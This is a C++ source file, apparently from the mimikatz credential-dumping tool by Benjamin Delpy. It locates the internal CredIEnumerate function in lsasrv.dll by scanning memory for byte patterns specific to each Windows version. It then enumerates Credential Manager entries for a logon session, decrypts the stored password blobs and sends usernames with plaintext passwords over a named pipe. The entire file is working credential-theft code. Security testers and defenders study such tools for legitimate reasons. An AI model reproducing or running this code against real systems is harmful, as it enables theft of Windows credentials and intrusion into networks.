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/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "credman.h"
PCRED_I_ENUMERATE CredIEnumerate = NULL;
bool searchCredmanFuncs()
{
#ifdef _M_X64
BYTE PTRN_WIN5_CrediEnumerate[] = {0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x45, 0x33, 0xe4};
LONG OFFS_WIN5_CrediEnumerate = 0;
BYTE PTRN_WNO8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed};
LONG OFFS_WNO8_CrediEnumerate = -22;
BYTE PTRN_WIN8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed};
LONG OFFS_WIN8_CrediEnumerate = -30;
#elif defined _M_IX86
BYTE PTRN_WIN5_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x24, 0x53, 0x33, 0xdb, 0x57, 0x33, 0xc0};
BYTE PTRN_WN60_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x40, 0x33, 0xc9};
BYTE PTRN_WN61_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x44, 0x33, 0xc0};
BYTE PTRN_WN62_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0};
LONG OFFS_WALL_CrediEnumerate = 0;
#endif
if(!CredIEnumerate)
{
PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
#ifdef _M_X64
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pattern = PTRN_WIN5_CrediEnumerate;
taille = sizeof(PTRN_WIN5_CrediEnumerate);
offset = OFFS_WIN5_CrediEnumerate;
}
else
{
if (mod_system::GLOB_Version.dwMinorVersion < 2)
{
pattern = PTRN_WNO8_CrediEnumerate;
taille = sizeof(PTRN_WNO8_CrediEnumerate);
offset = OFFS_WNO8_CrediEnumerate;
}
else
{
pattern = PTRN_WIN8_CrediEnumerate;
taille = sizeof(PTRN_WIN8_CrediEnumerate);
offset = OFFS_WIN8_CrediEnumerate;
}
}
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwMajorVersion < 6)
{
pattern = PTRN_WIN5_CrediEnumerate;
taille = sizeof(PTRN_WIN5_CrediEnumerate);
}
else
{
if(mod_system::GLOB_Version.dwMinorVersion < 1)
{
pattern = PTRN_WN60_CrediEnumerate;
taille = sizeof(PTRN_WN60_CrediEnumerate);
}
else if (mod_system::GLOB_Version.dwMinorVersion < 2)
{
pattern = PTRN_WN61_CrediEnumerate;
taille = sizeof(PTRN_WN61_CrediEnumerate);
}
else
{
pattern = PTRN_WN62_CrediEnumerate;
taille = sizeof(PTRN_WN62_CrediEnumerate);
}
}
offset = OFFS_WALL_CrediEnumerate;
#endif
mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true);
}
return (searchLSAFuncs() && CredIEnumerate);
}
__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments)
{
wostringstream monStream;
monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl <<
L"@CredIEnumerate = " << CredIEnumerate << endl <<
L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl;
return sendTo(monPipe, monStream.str());
}
__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments)
{
vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getCredmanData, wstring(L"credman")));
return getLogonData(monPipe, mesArguments, &monProvider);
}
bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
{
wostringstream message;
if(searchCredmanFuncs())
{
DWORD credNb = 0;
PCREDENTIAL * pCredential = NULL;
DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS;
NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast<PCRED_I_ENUMERATE62>(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential);
if(NT_SUCCESS(status))
{
for(DWORD i = 0; i < credNb; i++)
{
wstring Target(pCredential[i]->TargetName);
wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1);
message << endl;
if(justSecurity)
message << L"\t [" << i << L"] " << Target << L'\t';
else message <<
L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl;
if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE))
{
CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast<wchar_t *>(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL};
DWORD dwNbCredentials;
PENCRYPTED_CREDENTIALW * pEncryptedCredential;
NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential);
if(status == STATUS_INVALID_PARAMETER)
{
mesInfos.Flags |= CRED_TI_USERNAME_TARGET;
status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential);
}
if(NT_SUCCESS(status))
{
for(DWORD j = 0; j < dwNbCredentials ; j++)
{
wostringstream prefix; prefix << L"[" << j << L"] ";
message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str());
}
SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential);
}
else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status);
}
else
{
PENCRYPTED_CREDENTIALW pEncryptedCredential;
NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast<wchar_t *>(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential);
if(NT_SUCCESS(status))
{
message << descEncryptedCredential(pEncryptedCredential, justSecurity);
CredFree(pEncryptedCredential);
}
else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status);
}
}
CredFree(pCredential);
}
else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status);
} else message << L"n.a. (credman KO)";
return sendTo(monPipe, message.str());
}
wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix)
{
wostringstream monStream;
LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast<PWSTR>(pEncryptedCredential->Cred.CredentialBlob)};
wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword);
if(justSecurity)
monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } ";
else monStream <<
L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl <<
L"\t " << prefix << L"Cred : " << cred << endl;
return monStream.str();
}
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